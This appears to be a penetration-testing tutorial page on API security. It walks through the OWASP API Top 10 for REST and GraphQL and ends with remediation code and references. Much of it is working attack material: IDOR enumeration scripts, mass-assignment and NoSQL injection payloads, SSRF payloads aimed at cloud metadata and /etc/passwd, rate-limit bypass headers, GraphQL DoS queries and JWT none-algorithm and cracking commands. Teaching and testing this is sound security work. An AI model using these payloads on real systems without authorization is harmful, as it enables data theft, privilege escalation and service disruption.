
API Security Testing: REST, GraphQL, and Beyond
API security testing including BOLA, mass assignment, GraphQL introspection, rate limiting bypass, and API-specific vulnerabilities.
Introduction
APIs (Application Programming Interfaces) have become the backbone of modern applications, connecting mobile apps, web frontends, microservices, and third-party integrations. This interconnected architecture creates vast attack surfaces where traditional web security testing methods often fall short.
API security testing requires understanding different API architectures (REST, GraphQL, gRPC), authentication mechanisms (API keys, OAuth, JWT), and API-specific vulnerability classes outlined in the OWASP API Security Top 10.
API Reconnaissance
Finding API Endpoints
# Check common paths
/api/
/api/v1/
/api/v2/
/graphql
/graphiql
/v1/graphql
/rest/
/api-docs
/swagger.json
/swagger/
/openapi.json
# JavaScript file analysis
# Look for API endpoints in JS bundles
curl -s https://target.com/main.js | grep -oP '"/api/[^"]*"'
# Mobile app decompilation
apktool d app.apk
grep -r "api" ./app/smali/API Documentation Discovery
# Swagger/OpenAPI
/swagger.json
/swagger/v1/swagger.json
/api/swagger.json
/api-docs
/api/api-docs
# GraphQL introspection
POST /graphql
{"query": "{__schema{types{name,fields{name}}}}"}
# WADL (REST)
/application.wadlOWASP API Security Top 10
API1: Broken Object Level Authorization (BOLA)
Most common API vulnerability - accessing other users' data by changing IDs:
# Original request
GET /api/v1/users/1001/profile
Authorization: Bearer user_token
# Attack - change user ID
GET /api/v1/users/1002/profile
Authorization: Bearer user_tokenTesting methodology:
import requests
# Test IDOR across endpoints
endpoints = [
'/api/users/{id}',
'/api/orders/{id}',
'/api/documents/{id}',
'/api/messages/{id}'
]
for endpoint in endpoints:
# Try other user IDs
for user_id in range(1, 100):
url = endpoint.format(id=user_id)
r = requests.get(f"https://target.com{url}",
headers={"Authorization": "Bearer YOUR_TOKEN"})
if r.status_code == 200:
print(f"[BOLA] Accessible: {url}")API2: Broken Authentication
# Test weak JWT
# Check for algorithm confusion (RS256 -> HS256)
# Check for none algorithm
# Brute force weak secrets
# API key in URL (logged, cached)
GET /api/data?api_key=secret123
# Bearer token without expiration
Authorization: Bearer never_expires_token
# Missing authentication on endpoints
GET /api/admin/users # No auth required?API3: Broken Object Property Level Authorization
Mass assignment - modifying properties you shouldn't:
# Original profile update
PUT /api/users/me
{"name": "John", "email": "[email protected]"}
# Attack - add privileged fields
PUT /api/users/me
{"name": "John", "email": "[email protected]", "role": "admin", "balance": 99999}API4: Unrestricted Resource Consumption
# Large payload DoS
curl -X POST https://api.target.com/upload \
-H "Content-Type: application/json" \
-d '{"data": "'$(python -c "print('A'*10000000)"):'"}'
# GraphQL query depth attack
query {
user {
friends {
friends {
friends {
friends { ... }
}
}
}
}
}
# Batch endpoint abuse
POST /api/batch
{"requests": [{"path": "/users/1"}, {"path": "/users/2"}, ... * 10000]}API5: Broken Function Level Authorization
# Access admin endpoints as regular user
GET /api/admin/users
POST /api/admin/settings
DELETE /api/admin/logs
# HTTP method tampering
# If GET is protected but POST isn't
POST /api/admin/users # Different auth check?
# Version difference
GET /api/v1/admin/users # Protected
GET /api/v2/admin/users # Not protected?REST API Testing
HTTP Methods Testing
# Test all methods on endpoint
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
curl -X $method https://api.target.com/users/1 -v
done
# Method override
curl -X POST https://api.target.com/users/1 \
-H "X-HTTP-Method-Override: DELETE"
# Content-Type variations
curl -X POST https://api.target.com/users \
-H "Content-Type: application/xml" \
-d "<user><name>test</name></user>"Parameter Pollution
# HTTP Parameter Pollution
GET /api/transfer?to=attacker&amount=100&to=victim
# Array injection
GET /api/users?id[]=1&id[]=2&id[]=3
# JSON injection
{"user": "normal", "user": "admin"}GraphQL Security Testing
Introspection Queries
# Full schema dump
{
__schema {
types {
name
fields {
name
args { name type { name } }
type { name kind }
}
}
queryType { name }
mutationType { name }
}
}
# List all queries
{
__schema {
queryType {
fields {
name
description
args { name type { name } }
}
}
}
}GraphQL-Specific Attacks
# Batch query attack
query {
user1: user(id: 1) { password }
user2: user(id: 2) { password }
user3: user(id: 3) { password }
# ... enumerate all users
}
# Alias-based BOLA
query {
myProfile: user(id: 1) { email }
victimProfile: user(id: 2) { email }
}
# Nested query DoS (Query Depth Attack)
query {
user(id: 1) {
friends {
friends {
friends {
friends {
friends { name }
}
}
}
}
}
}
# Field suggestion exploitation
{ __type(name: "User") { fields { name } } }Mutations Testing
# Test authorization on mutations
mutation {
deleteUser(id: 2) { success }
}
mutation {
updateUser(id: 2, data: {role: "admin"}) {
id role
}
}
# Mass assignment via mutation
mutation {
createUser(input: {
name: "test",
email: "[email protected]",
isAdmin: true,
balance: 99999
}) { id }
}Rate Limiting Bypass
Headers Manipulation
# IP spoofing headers
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
# Rotate through different IPs
X-Forwarded-For: 1.1.1.1
X-Forwarded-For: 1.1.1.2
X-Forwarded-For: 1.1.1.3Endpoint Variations
# Case changes
/api/Users/1
/API/users/1
/api/USERS/1
# Path variations
/api/users/1
/api/users/1/
/api/./users/1
/api/users/1.json
/api/v1/../v1/users/1
# Parameter variations
/api/users?id=1
/api/users?ID=1
/api/users?id[]=1Unicode/Encoding
# Unicode normalization
/api/users/1%00
/api/users/1%0d%0a
/api/users%2f1
# Double encoding
/api/users%252f1Injection in APIs
NoSQL Injection
// MongoDB injection
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": "^a"}, "password": {"$ne": null}}
// Operator injection
{"$where": "this.username == 'admin'"}Server-Side Request Forgery (SSRF)
// Webhook/callback parameters
{
"url": "http://internal-server/admin",
"webhook": "http://169.254.169.254/latest/meta-data/",
"callback": "http://localhost:8080/admin"
}
// Image/file URL parameters
{
"avatar_url": "file:///etc/passwd",
"import_url": "http://internal:8080/secrets"
}API Authentication Testing
JWT Testing
# Decode JWT
echo "eyJhbG..." | cut -d'.' -f2 | base64 -d
# Tools
jwt_tool eyJhbG... -X a # Algorithm none attack
jwt_tool eyJhbG... -X k -pk public.pem # Key confusion
# Check expiration
jwt_tool eyJhbG... -C # Crack weak secretAPI Key Testing
# Check key scope
# Test key on different endpoints
# Check if key works without signature
# Test key rotation/revocationTools
| Tool | Purpose |
|---|---|
| Burp Suite | API interception and testing |
| Postman | API development and testing |
| GraphQL Voyager | Schema visualization |
| InQL | GraphQL security scanner |
| jwt_tool | JWT manipulation |
| Arjun | Hidden parameter discovery |
| Kiterunner | API endpoint discovery |
Remediation
Authorization
# Always verify ownership
def get_order(order_id):
order = Order.query.get(order_id)
if order.user_id != current_user.id:
abort(403)
return orderInput Validation
from pydantic import BaseModel, validator
class UserUpdate(BaseModel):
name: str
email: str
class Config:
# Only allow defined fields
extra = 'forbid'Rate Limiting
from flask_limiter import Limiter
limiter = Limiter(key_func=get_remote_address)
@app.route('/api/login')
@limiter.limit("5 per minute")
def login():
passReferences
MITRE ATT&CK Techniques
- T1190 - Exploit Public-Facing Application - API exploitation for initial access
- T1087 - Account Discovery - User enumeration via APIs
- T1110 - Brute Force - API credential attacks
- T1530 - Data from Cloud Storage - API-based data exfiltration
Common Weakness Enumeration
- CWE-284 - Improper Access Control - BOLA/IDOR vulnerabilities
- CWE-285 - Improper Authorization - Authorization flaws
- CWE-862 - Missing Authorization - Unauthenticated API access
OWASP Resources
- OWASP API Security Top 10 - API vulnerability classification
- OWASP API Security Project - Comprehensive API security guidance
Tools Documentation
- Burp Suite API Testing - API security testing
- OWASP ZAP API Scan - Automated API scanning
Related Articles
- SQL Injection - SQL injection in API parameters
- Authentication Bypass - API auth vulnerabilities
- CSRF - API CSRF considerations
Last updated on
Web Application Security
Comprehensive web application vulnerabilities including SQL injection, XSS, CSRF, authentication bypass, information disclosure, and business logic flaws for penetration testing and security assessments.
Authentication Bypass: Breaking Login Mechanisms
Authentication vulnerabilities including credential attacks, session management flaws, MFA bypass, and OAuth vulnerabilities.